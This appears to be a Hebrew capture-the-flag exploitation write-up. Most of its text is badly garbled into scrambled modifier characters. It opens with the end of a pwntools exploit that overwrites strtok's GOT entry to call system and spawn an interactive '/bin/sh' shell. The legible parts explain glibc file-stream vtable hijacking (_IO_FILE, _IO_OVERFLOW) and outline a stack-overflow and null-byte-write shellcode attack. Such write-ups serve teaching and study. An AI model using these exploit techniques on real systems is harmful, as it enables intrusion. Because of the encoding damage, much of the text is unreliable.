e.got['strtok'] -  argument 162  

command += strtok_got_s  # argument 163  

command += strtok_got_s_third_byte  # argument 164  

 

r .sendline(command)  

r.recv(system_low_word)  

 

r.sendline( "/bin/sh" )  

 

r.interactive()  

 ˪˟˵ˮˣ ˣ˸ˣ˞ ˳˧˶ˮshell:˪ˠˡˢ ˸˞ ˞ˣ˴ˬ˪ ˸ˮˬ ˪˰ ˶ˤ˰˧ˢ˪ ˪˩ˣˮ ˣ˟ , 

 

 ˡ˥˞ ˶ˠ˸˞ ˡˣ˰ ˶˸ˣˮJ 

Jim Moriarty 

 ˢˮ˟ˢ ˷ˣ˶ˡ˧ ˫ˠˣ ,ˢ˩ ˡ˰ ˣ˟ ˣˮ˵˯˰˷ ˢˬ ˪˩˟ ˷ˬ˸˷ˢ˪ ˣˮ˸˞ˬ ˷ˣ˶ˡ˧ ˢˤˢ ˶ˠ˸˞ˢ .˭ˣ˶˥˞ˢ ˶ˠ˸˞˪ ˣˮ˰ˠˢ

 ˪˷ ˶˸ˣ˧ ˢ˵ˣˬ˰libc  ˢ˟ ˣˮ˵˯˰ ˫˶˦˷ ˢ˧˴˦˧ˣ˪˲˯˵˞ ˸˦˧˷ ˪˷ˣ- File Stream Pointer Overflows ˧ˮ˲˪ .

.ˢ˦˧˷ˢ ˸˞ ˶ˣ˵˯ˮ ,˧˶˞ˮ˧˟˪ ˪ˣ˪˴ˮ˷ 

) ˫˧ˬ˶ˤ ˪˰ ˫˧˶˟ˡˬ˷˩streams˧ˬ˶ˤ ˢ˷ˣ˪˷ ˫ˮ˷˧ ,( :˫ˢ˧˪˰ ˶˟ˡ˪ ˠˣˢˮ˷ ˫˧˧˦˶ˡˮ˦˯ ˫stdin )standard 

input ,(stdout )standard outputˣ (-stderr )standard error ˫˶ˤˢ .(stdin  "˪˧ˠ˶"ˢ ˦˪˵˪ ˶ˣ˵ˬ˩ ˵˲˯ˬ

 ,ˢˮ˩ˣ˸ˢ ˪˷stdout ˣ ,ˢˮ˩ˣ˸ˢ ˪˷ "˪˧ˠ˶"ˢ ˦˪˲˪ ˶ˣ˵ˬ˩-stderr  .ˢ˞˧ˠ˷ ˸ˣ˰ˡˣˢ ˸˟˧˸˩˪ ˵˲˯ˬ

 ˸ˣ˩˶˰ˬ˟GNU ˧ˡ˧ ˪˰ ˭˸˧ˮ ˢˬ˧˷˶ˢ ˷˞˶ˣ ,˸˶˷ˣ˵ˬ ˢˬ˧˷˶˟ ˫˧˶˟ˣ˥ˬ ˫˧ˬ˶ˤˢ ,_IO_list_all  ˪˰ ˰˧˟˴ˬˣ

stderr ˰˧ˠˬ ˣ˧˶˥˞ ,stdout  ˫˲ˣ˯˟ˣstdin. 

-˟glibc ˢˮ˟ˬˢ ˸ˣ˰˴ˬ˞˟ ˠ˴ˣ˧ˬ ˫˶ˤ ˪˩ ,_IO_FILE ˣˬ˩ ˸ˣ˧˴˵ˮˣ˲ˬ ˶ˤ˥ˣˬ˷ ˢˮ˟ˬˢ ˞ˣˢ ˢˤ ˢˮ˟ˬ .

fopen ˧ˡ˧ ˪˰ ˶ˤ˥ˣˬ˷ ˳˟ˣ˵ˬ ˢ˞˧˶˵ ˫˶ˤ ˫˴˰˟˷ ˨˩ ,fopen ˪ ˣˠˣ˯˟ ˢˢˤ ˞ˣˢ-stdin ˣ˪˞˩ ˫˧ˬ˶ˤ˪ .
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 ˫˧˞˶ˣ˵File Streams ˢˮ˟ˬˢ ˶˥˞˪ ˡ˧ˬ ._IO_FILE ˶˥˞ ˢˮ˟ˬ˪ ˰˧˟˴ˬ ˰˧˲ˣ˧ ,- _IO_jump_t ˫˷ .

 ˰˧˟˴ˬˢ- vtable) ˢˤˢ ˢˮ˟ˬ˪ ˪˪ˣ˩ˢ ˫˷ˢ ._IO_FILE  ˞˶˵ˮ (˰˧˟˴ˬˢ +_IO_FILE_plus. 

 

˟ ˶˟˰˟ ˣ˯ˮ˸ˢ˷ ˫˧˷ˮ˞-reversing  ˸ˣ˲˷˟ ˥ˣ˸˧˲˟ ˣ˞Object-Oriented  ˥ˮˣˬˢ ˸˞ ˫˧˶˧˩ˬvtable  ˫˷˩

 .ˢ˴˧˶ ˭ˬˤ˟ ˸ˣ˦˪˥ˢ ˸˪˟˵˪ ˸˷ˬ˷ˬˣ ,˦˵˧˧˟ˣ˞ˢ ˪˷ ˸ˣˬ˧ˣ˯ˬ ˸ˣˡˣ˸ˬ˪ ˫˧˰˧˟˴ˬ ˢ˵˧ˤ˥ˬ˷ ˢ˪˟˦˪

 ˸ˣ˧˲˶ˣˬ˧˪ˣ˲˟ ˨ˣˬ˸˪ ˞ˣˢ ˭ˣ˧˰˶ˢ-  ˸˧˪˞ˣ˦˶˧ˣˢ ˢ˧˴˵ˮˣ˲ˢ ˸˶ˡˠˣˬ ˫˞ ˸˵˪˥ˬ˟ ˫˞foo ˸ˣ˵˪˥ˬ ˧˸˷ˣ ,

˟ˣ˞ˢ ˪˞ ˯˥˧˧˸ˢ˪ ˪˩ˣˮ ,ˢ˧˴˵ˮˣ˲ˢ ˸˞ ˸ˣ˷ˬˬˬˣ ˢˮˬˬ ˸ˣ˷˶ˣ˧ ˠˣ˯ˬ ˫˧˦˵˧˧˟ˣ˞ ˪˞˩ ˧˶ˮˠ ˭˲ˣ˞˟ ˫˧˦˵˧˧

 ˪˷ ˫˧˷ˣˬ˧ˬˢˬ ˢˤ˧˞˪ ˰ˣ˟˵˪ˣ ˦˵˧˧˟ˣ˞ˢ ˠˣ˯ ˢˬ ˦˧˪˥ˢ˪ ˢ˴˧˶ ˭ˬˤ˟ ˵˶ˣ ,˫˞ˢ ˸˵˪˥ˬfoo  .˳ˣ˲˵˪ ˣˮ˧˪˰

 ˪˰ ˡˣ˰virtual tables  ˧˶˷˵ˢ˟C++ .˶ˬ˞ˬˢ ˱ˣ˯˟ ˫˧˶ˣ˷˧˵˟ ˞ˣ˴ˬ˪ ˭˸˧ˮ 

C  ˢ˲˷ ˞˪ ˞˧ˢObject-Oriented ˢˢˤ ˭˞˩ ˢˮˣˣ˩ˢ ˪˟˞ ,-  ˫˶ˤˢ ˪˷ ˸ˣˡˣ˸ˬ˪ ˰˧˟˴ˬ˟ ˶˟ˣˡˬ-  ˫˧ˬ˶ˤ

˟ ˫˧˦˵˧˧˟ˣ˞˩ ˫˧ˠ˴ˣ˧ˬ-glibc˟ ˶ˡˠˣˬ ˢ˪˟˦ˢ ˢˮ˟ˬ .-_IO_jump_t: 

 
 ˢ˧˴˵ˮˣ˲˟ ˢ˞˟ˢ ˢ˶ˣ˷ˢ ,˨˩_IO_unbuffer_all ˟-glibc: 

 
ˢ ˸˟ˣ˸˩˪ ˢ˴˧˲˵˪ ˫ˠ˶ˣ˸˸-12  ˪˷ ˦˯˧ˢ˟ ˢ˪˧˥˸ˬ˷ ˸˟ˣ˸˩ˢ ,˶ˬˣ˪˩)0x58 ˰˧˟˴ˬ ˢ˧˪˞ ˸˟ˣ˸˩ˢˬ (

vtable ˟-fp. 
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˪˷ ˭ˣ˧˰˶ˢ File Stream Pointer Overflows  ˭˪ˢ˪)FSPO ˶ˣ˴˧˪ ˨˶ˡ ˞ˣ˴ˬ˪ ˞ˣˢ (File Stream  ˧˟˧˦˵˧˲

˟ ˸ˣˡˣ˸ˬ ˶˲˯ˬ˪ ˸ˣ˞˧˶˵ ˣ˷˥˶˸˧ ,˸˧ˮ˩˸ˢ ˸˴˶ˢ ˱ˣ˯˟ .˫˧ˬ˶ˤˢ ˸ˬ˧˷˶˪ ˣ˸ˣ˞ ˶˷˵˪ˣ-libc  ˡ˧˵˲˸ˢ˷

 ˣˬ˩ ,˫˧ˬ˶ˤˢ ˸˞ "˸ˣ˵ˮ˪" ˞ˣˢ ˭ˢ˪˷_IO_flush_all_lockp x-_IO_unbuffer_all ˣ˪˪ˢ ˸ˣ˧˴˵ˮˣ˲ˢ . ˣ˶˟˰˧

˫˶ˤ- ˰˧˟˴ˬ ˣ˧˪˞ ˫˶ˤˢˬ ˪˥ˢ ,ˢˬ˧˷˶˟ ˫˶ˤ_IO_list_all ˸ˣ˪ˣ˰˲ ˣ˧˪˰ ˣ˰˴˟˧ˣ ,ˢˬ˧˷˶˟ ˭ˣ˶˥˞ˢ ˫˶ˤ˪ ˡ˰ˣ ,

 ˸˥˸ .ˣ˟ ˫˧ˮ˯˥ˣ˞ˬ˷ ˫˧ˮˣ˸ˮˢ ˧˲ ˪˰flows ˢˬ ˸ˣˡˣ˸ˬ˪ ˫ˠ ˣ˞˶˵˧ ˸ˣ˧˴˵ˮˣ˲ˢ ,˫˧ˬ˧ˣ˯ˬ-vtable  ˪˷

˲ ˣ˴ˣ˶˧ ˣ˧˪˰ ˫ˠ ,˫˧˶˥˞ˢ ˫˧ˬ˶ˤ˪ ˶˷ˣ˵ˬ ˞ˣˢ˷ ˨˩ ,˫˶ˤ ˸ˣˮ˟˪ ˪˩ˣˮ ˫˞ .˫˶ˤˢ ˸ˣ˧˴˵ˮˣ˲ˢ ˣˬ˩ ˸ˣ˧˴˵ˮˣ

˪ ˪˧˟ˣˢ˪ ˪˩ˣˮ ,˫˶ˤˢ ˪˷ ˧ˡˣ˰˧˧ ˟ˣ˴˧˰ ˸˶ˤ˰˟ .˪˧˰˪ ˣ˶˩ˤˣˢ˷-flow ˢˬ ˸ˣˡˣ˸ˬˢ ˸˥˞˪ ˫˧˞˶ˣ˵ ˣ˟˷-

vtable ˢ˷ ˨˩ ˣ˸ˣ˞ ˟˴˰˪ ˭˩ˣˬ ˡˣ˰˟ˬ ˪˩ˣˮ ,˫˶ˤ˟ ˫˧˦˪ˣ˷ ˣˮ˞˷ ˭ˣˣ˧˩ˬ .˫˶ˤˢ ˪˷-vtable  ˰˧˟˴˧ ˣ˪˷

 .˳˧˶ˢ˪ ˢ˴˶ˮ˷ ˸ˣ˧˴˵ˮˣ˲˪ ˸ˣ˟ˣ˸˩ ˷˧ ˣ˟ ,˭ˣ˶˩˧ˤ˟ ˶˥˞ ˫ˣ˵ˬ˪ 

˟ ˫˧ˣ˯ˬ ˫ˣ˵˧ˬ˪ ˰˧˟˴ˢ˪ ˣ˪ ˫ˣ˶ˠ˪ ˞ˣˢ ˧˯˞˪˵ ˷ˣˬ˧˷-GOT ˢ˧˴˵ˮˣ˲˪ ˞ˣ˶˵˪ ˢ˴˶ˮ ˫˞ :scanf  ˫˶ˤˢ ˫˰

˪ ˪˧˟ˣˢ˪ ˣˮ˪˷ ˫˶ˤ˪ ˫ˣ˶ˠ˪ ˪˩ˣˮˣ ,˦ˮˬˣˠ˶˞ ˶ˣ˸˟ ˣˮ˪˷-flow ˪ ˢ˞˧˶˵ ˸˷˥˶˸ˬ ˣ˟˷-_IO_OVERFLOW ,

˪ ˰˧˟˴ˬˢ ˸˞ ˫˵ˬ˪ ˨˶˦˴ˮ-vtable ˟ ˢˮ˦˵ ˸˟ˣ˸˩˪ ˰˧˟˴˧˷ ˨˩-0x18  ˪˷ ˸˟ˣ˸˩ˢˬscanf . ˶˷˞˩ ,˨˩

˪ ˞˶˵˸ ˸˧ˮ˩˸ˢ-_IO_OVERFLOW(fp, EOF) ˪ ˞˶˵˸ ˫˴˰˟ ˞˧ˢ ,ˢˬˠˣˡ˪-scanf(fp, EOF) ˸˦˧˷˷ ˭˟ˣˬ˩ .

 ˣˬ˩ ˧˩ ,ˢ˶˵ˬ˪ ˢ˶˵ˬ ˭˧˟ ˢˮ˸˷ˬ ˷ˣˬ˧ˬˢROP -  ˢˬˠˣˡ ˢ˞˶ˮ ,˶ˠ˸˞ˢ ˭ˣ˶˸˲ ˨˪ˢˬ˟ .˦˲˯ˮˣ˵˟ ˶˟ˣˡˬ

.˦˲˯ˮˣ˵ˢ ˫ˣ˷˧˧˪ 

˵˲˯˪ ˷˵˟˸ˮ ,ˢ˪˧˥˸ .˶ˠ˸˞ˢ ˸˞ ˳˧˶ˮˣ ˡ˧˶ˣˮ ,ˢ˶˴˵ ˢˬˡ˵ˢ ˶˥˞˪  ˵˲˯˪ ˷˵˟˸ˮ ,˭˩ˬ ˶˥˞˪ .˪ˡˣˠ

άǎƘŜƭƭŎƻŘŜέˢ ˸˞ ˵˲˯ˮ˷ ˶˥˞˪ .-άǎƘŜƭƭŎƻŘŜέ.˞˴˸ ˸˧ˮ˩˸ˢ , 

 

 ˫˧˵˲˯ˬˣ ˢˡ˧ˬ˟ .ˢ˶˵˧ ˢˬ ˸ˣ˞˶˪ˣ ,ˡˣ˞ˬ ˪ˣˡˠ ˪ˡˣˠ ˵˧ˮ˰ˢ˪ ˸ˣ˯ˮ˪ ˞ˣˢ ˷˞˶˪ ˧˪ ˢ˪˰˷ ˭ˣ˷˞˶ˢ ˭ˣ˧˰˶ˢ

˩ ˪ˣˡˠ ˪ˡˣˠ-input ˵˲˧˯˷ ˶˥˞˪ .˶˥˞ ˪ˡˣˠ ˷˵˟˸ˣ ,˧ˡˬ ˪ˣˡˠ ˪ˡˣˠˢ˷ ˭˧˧˴˸ ˸˧ˮ˩˸ˢ ,˧ˮˣ˷˞˶ ˪ˡˣˠ ˧˸

" ˧˸˵˲˧˯ ,˶˥˞shellcode ˢ˸ˣˣ˥ ˸˧ˮ˩˸ˢˣ ,"segfault.˭˧˧ˮ˰ˬ . 

 

˟ ˧˶˞ˮ˧˟ˢ ˸˞ ˥˸˲ˮ˷ ˧ˮ˲˪-IDA ˷˧˷ ˢ˞˶ˮ .ˣ˧˪˰ ˸ˣ˪˥ˣˬˢ ˸ˣˮˠˢˢ ˭ˢˬ ˵ˣˡ˟ˮ ,NX )DEPˣ ,(-RELRO  ˞˪)

.˸ˣ˧ˣ˟˩ ˸ˣˮˠˢˢ ˶˞˷ ˪˩ .(ˣˮ˸ˣ˞ ˭˧˧ˮ˰ˬ 

˟ ˧˶˞ˮ˧˟ˢ ˸˞ ˥˸˲ˮ-IDA  ˞˪ ,˸ˣˤˣ˶˥ˬ˟ ˤ˧˶ˤ ˷ˣ˲˧˥ˬ .ˣ˩ˣ˸˪ ˪ˣ˪˴ˮˣ ˪ˠˡ˪ ˸ˣ˯˥˧˧˸ˢ ˷˧˷ ˢ˞˶ˮ-  ˨˶˦˴ˮ

 ˠ˧˷ˢ˪shell - ˬ ˟˩˶ˣˬˣ ,ˡˣ˞ˬ ˭˦˵ ˣˬ˴˰ ˧˶˞ˮ˧˟ˢ .˫ˡ˵˸ˬ ˢˤ˩ ˟˪˷˟ ˢˤ˪ ˣˮ˧˲˧˴ ˶˟˩ ˪˟˞-3  ˸ˣ˧˴˵ˮˣ˲

:˸ˣ˶˴˵ 

1. main -  ˫˷˟ ˢ˧˴˵ˮˣ˲˪ ˸˞˶ˣ˵ˣ ˫˧˶˲˞˟ ˸˪˥˸˞ˬstackof . 
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2. stackof -  .˭˞˩ ˸ˣ˰˴˟˸ˬ ˢ˪˷ ˢ˧˴ˡ˧˪ˣˢˣ ˨˶ˣ˞ˢ ˸˦˧˪˵ .˸˧ˮ˩˸ˢ ˪˷ "ˢ˵˧ˠˣ˪"ˢ ˟ˣ˶ ˸˰˴˟˸ˬ ˭˞˩

˟ ˷ˬ˸˷ˬ ,˭˩ˬ ˶˥˞˪-calloc ) ˢˬ˧˶˰ˢ ˪˰ ˸ˣ˴˵ˢ˪ ˪˧˟˷˟Heap ,ˡ˥˞ + ˪ˡˣˠˢ ˨˶ˣ˞˟ ˶˲˞˟ (

ˬ ˸˶ˤ˥ˣˬ˷ ˸˟ˣ˸˩ˢ ˸˞ ˫˧˶ˬˣ˷ˣ-calloc  ˫˷˟ ˧˪˟ˣ˪ˠ˪ (˶˲˞˟ˢ ˢ˴˵ˣˢ ˢ˟˷ ˸˟ˣ˸˩ˢ ˞˧ˢ˷)

g_buf_ptrˬ ,˭˩ˬ ˶˥˞˪ . ˫˧˷˵˟shellcode˪ ˢ˞˧˶˵ ˸˶ˤ˰˟ ˣ˸ˣ˞ ˫˧˦˪ˣ˵ˣ ,-read_n  ˪˷ ˸˟ˣ˸˩ˢ ˫˰

 ˶˲˞˟ˢ ˱ˣ˯˟ ˫˧ˬ˵ˬˬ ,˱ˣ˯˟˪ .˫˧˦ˮˬˣˠ˶˞ ˶ˣ˸˟ ˪ˡˣˠˢˣ ˶˲˞˟ˢnull-byte˪ ˫˧˞˶ˣ˵ ,-getchar 

.˸˶ˤˣ˥ ˢ˧˴˵ˮˣ˲ˢˣ 

3. read_n -  ˨˶ˣ˞ˣ ˸˟ˣ˸˩ ˫˧˦ˮˬˣˠ˶˞˩ ˸˪˟˵ˬn ˸˞˶ˣ˵ ,n  ˨ˣ˸ˬ ˫˧ˣˣ˸stdin  ˢ˶˵ˬ˟ .˸˟ˣ˸˩ˢ ˪˞

˩ˮ ˢ˞˧˶˵ˢ˷˪ ˸˞˶ˣ˵ ˢ˧˴˵ˮˣ˲ˢˣ ,ˢ˞˧ˠ˷ ˸˰ˡˣˢ ˸˯˲ˡˣˬ ,ˢ˪˷-exit .˸˧ˮ˩˸ˢˬ ˸˞˴˪ ˸ˮˬ ˪˰ 

 ˢ˧˴˵ˮˣ˲˟ ˵ˬ˰˸ˮstackof ˪ ˤˬˣ˶ ˢ˪˷ ˫˷ˢ˷)-stack overflow ˢ˰˦ˬ ˞ˣˢ ˪˟˞ ,-  ˢ˷˵˟ˢ˷ ˣˬ˩ ˵ˣ˧ˡ˟

-˪shellcode ˪ ˫ˣ˶ˠ˪ ˣˮ˥˪˴ˢ .(ˢ˰˦ˬ-segfault ˪ ˡˣ˵ˢ ˫ˣˠ˶˸ˬ .ˢˬ˪ ˭˧˟ˢ˪ ˢ˯ˮˮ ,˫ˡˣ˵-pseudocode 

ˡ˲˵ ˶˟˰ˬˣ ˣ˸ˣ˞ ˫˧˶ˬˣ˷ ,˷˵ˣ˟ˬˢ ˪ˡˣˠˢ ˸˞ ˫˧˦˪ˣ˵ ˶˷˞˩ ,ˢ˪˧˥˸ :ˢ˶ˣ˶˟ ˢ˟˧˯ˢ˷ ˢ˞˶ˮ ,ˡˣ˵ˢ ˪˰ ˧ˮ

 ˫˧˷˪ ˸ˮˬ ˪˰ ˢˮ˸˷ˬ˟ ˶ˣˬ˷ˢ ˨˶˰˟ ˫˧˷ˬ˸˷ˬˣ ,ˢˮ˸˷ˬ˟null-byte .˸ˤˣ˶˥ˬˢ ˱ˣ˯˟ 

 ˸ˣ˴˵ˢ˪ ˣˮ˷˵˧˟ ˣ˟˷ ˟˴ˬ ˶˴ˣˣ˧ˢ˪ ˪ˣ˩˧ ˨˩ˣ ,ˢˮ˸˷ˬˢ ˪˷ ˨˶˰ˢ ˸˞ ˫˧ˮ˩ˡ˰ˬ ˞˪ ,˧ˡˬ ˪ˣˡˠ ˪ˡˣˠˢˣ ˢˡ˧ˬ˟

 ˨˶ˣ˞˟ ˶˲˞˟123456789  ˨˶ˣ˞˟ ˶˲˞˟ ˸ˣ˴˵ˢ˪ ˣˮ˷˵˧˟ˣ ˷ˡ˥ ˪ˡˣˠ ˵˲˯˪ ˣˮ˷˵˟˸ˢ ,˫˧ˣˣ˸5  ˫˧ˣˣ˸

 ˢ˸˴˵ˢˣ ˢˬ˧˩˯ˢ ˸˧ˮ˩˸ˢˣ6 ˢ ˨˞ ,˫˧˸˟-null-byte ˟ ˫˷ˣ˧-offset  ˪˷123456789  ˶ˣˤ˞ ˸˪˧˥˸ˬ ˫˧ˣˣ˸

 ˢ˯˶˵ ˸˧ˮ˩˸ˢ˷ ˨˩˪ ˢ˟˧˯ˢ ˫ˠ ˸˞ˤ .˶˲˞˟˪ ˢ˴˵ˣˢ˷ ˭ˣ˶˩˧ˤˢ- ˟ˣ˸˩˪ ˢ˸˯˧ˮ ˸˧ˮ˩˸ˢ null-byte  ˶ˣˤ˞˪

ˣ˟ ˭˧˞˷  ˣˮ˪˟˧˵ˣ ,ˢ˟˧˸˩ ˸ˣ˞˷˶ˢsegmentation fault. 

 

 ˸˥˞ ˢ˷˪ˣ˥ ˞ˣ˴ˬ˪ ˣˮ˥˪˴ˢ-  ˸˟˧˸˩null-byte ˟-offset ˬ ˪ˣˡˠ ˧˸ˣ˶˧˶˷-3145728  ˢ˧˪˞ ˸˟ˣ˸˩ˢˬ

.˶˲˞˟ˢ ˢ˴˵ˣ˧ 
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:˸ˣ˧˰˟ ˶˲˯ˬ ˣˤˢ ˢ˷˪ˣ˥ˢ ˫˰ ˷˧ ,ˣˮ˶˰˴˪ 

1. ˢ ˢ˴˵ˣ˧ ˢ˟ ˸˟ˣ˸˩ˢ ˢˬ ˸ˣ˲˴˪ ˨˶ˡ ˣˮ˪ ˸ˣ˧ˢ˪ ˢ˶ˣˬ˞ ˞˪ ˪ˣ˩˧˟˩-buffer ˸˪ˣ˩˧˷ ˨˩ , ˸˟ˣ˸˩˪ ˢ˟˧˸˩

ˢ ˢ˴˵ˣ˧ ˢ˟ ˸˟ˣ˸˩ˢ ˪˞ ˸˧˯˥˧-buffer .ˡ˥ˣ˧ˬ˟ ˣˮ˪ ˸˶ˤˣ˰ ˞˪ 

2. ˬ ˨˧˞ ˶ˣ˶˟ ˞˪-null-byte ˪ ˰˧ˠˢ˪ ˪˩ˣˮ ˡ˥˞-shell. 

 ˸ˮ˧˥˟ˬ ˸ˣ˞˶˪ ˭˸˧ˮ˷ ˱˯ˣˮ ˶˟ˡstackof ˨ˣ˸˟˷ ˞ˣˢ ,sizeof  ˪˞˩ ˷ˬ˸˷ˬˢˬ ˦˪˵ˮˢ ˪ˡˣˠ˪ ˫˧˯˥˧˧˸ˬ

signed int ˢ˧˴˵ˮˣ˲ˢ ˨ˣ˸˟˷ ˡˣ˰˟ ,read_n  ˣ˧˪˞ ˫˧˯˥˧˧˸ˬ ˪˞˩unsigned  ˢ˧˴˵ˮˣ˲ˢ ˭˩˷)read  ˪˷libc 

 ˪˞˩ ˪ˡˣˠ˪ ˸˯˥˧˧˸ˬunsigned ˭˩˷ ,ˡ˥ˣ˧ˬ˟ ˸ˣ˪ˣˡˠ ˸ˣ˞˴˵ˢ ˰˴˟˪ ˣˮ˪ ˶˷˲˞˪ ˢ˪ˣ˩˧ ˸˞ˤˢ ˢ˷˪ˣ˥ˢ .(

ˬ ˫˧˪ˣˡˠ ˫˧˶˲˯ˬ-2  ˸˵ˤ˥˟31  ˪˞˩ ˶˲˯ˬ˪ ˫˧˯˥˧˧˸ˬ ˶˷˞˩ ˫˧˧˪˧˪˷ ˫˧˶˲˯ˬ˩ ˣ˷˶ˣ˲˧signed ,˧˶˰˴˪ .

.ˣˤˢ ˢ˷˪ˣ˥ˢ ˸˞ ˪˴ˮ˪ ˨˶ˡ ˞ˣ˴ˬ˪ ˧˸˥˪˴ˢ ˞˪ 

 

 ˡ˵ˬ˸ˢ˪ ˢ˯ˮˮ ˭˩˪ ,˸ˣˮ˧˧ˮ˰ˬ ˸ˣ˷˪ˣ˥ ˡˣ˰ ˷˧˷ ˢ˞˶ˮ ˞˪ ,˧˶˞ˮ˧˟ˢ ˪˷ ˶˸ˣ˧ ˢ˵˧ˬ˰ˬˣ ˸˲˯ˣˮ ˢˮ˧˥˟ ˶˥˞˪

ˢ ˸˷˪ˣ˥˟-null-byte overwrite  ˞ˣˢ ˸ˣ˷˰˪ ˨˶˦˴ˮ˷ ˭ˣ˷˞˶ˢ ˶˟ˡˢ ,ˢ˟ ˷ˬ˸˷ˢ˪ ˸ˮˬ ˪˰ .ˣˮ˞˴ˬ˷

.˷˞˶ˬ ˸ˣˤ˥˪ ˭˸˧ˮ˷ ˫ˣ˵˧ˬ˟ ˢ˴˵ˣ˸ ˞˧ˢ˷ ˨˩ ˢ˞˴˵ˢ ˶ˣ˴˧˪ 

 ˣˮ˪ ˷˧ .˧ˣ˲˴ ˫ˣ˵ˬ˟ ˣ˪˲˧ ˡ˥ˣ˧ˬ˟ ˸ˣ˪ˣˡˠ ˸ˣ˞˴˵ˢ ˫˞ ˸ˣ˞˶˪ ˢ˯ˮˮ ,ˢˤˢ ˪ˣ˷˩ˬˢ ˪˰ ˶˟ˠ˸ˢ˪ ˸ˮˬ ˪˰

 ˭ˣ˧˪˰ ˫˯˥- 0x300000 ˪ˡˣˠ˟ ˢ˞˴˵ˢ ˷˵˟˪ ˢ˯ˮˮ .0x200000 ,˭ˣ˶˩˧ˤˢ ˸˞ ˣˮ˪ ˢ˴˵˸ ˸˧ˮ˩˸ˢ˷ ˶˥˞˪ .

:˭ˣ˶˩˧ˤˢ ˣˮ˪ ˢ˴˵ˣˢ ˣ˟ ˭ˣ˶˩˧ˤ˟ ˫ˣ˵˧ˬˢ ˸˞ ˭˥˟ˮˣ ˢ˸ˣ˞ ˶ˣ˴˰ˮ 

 
































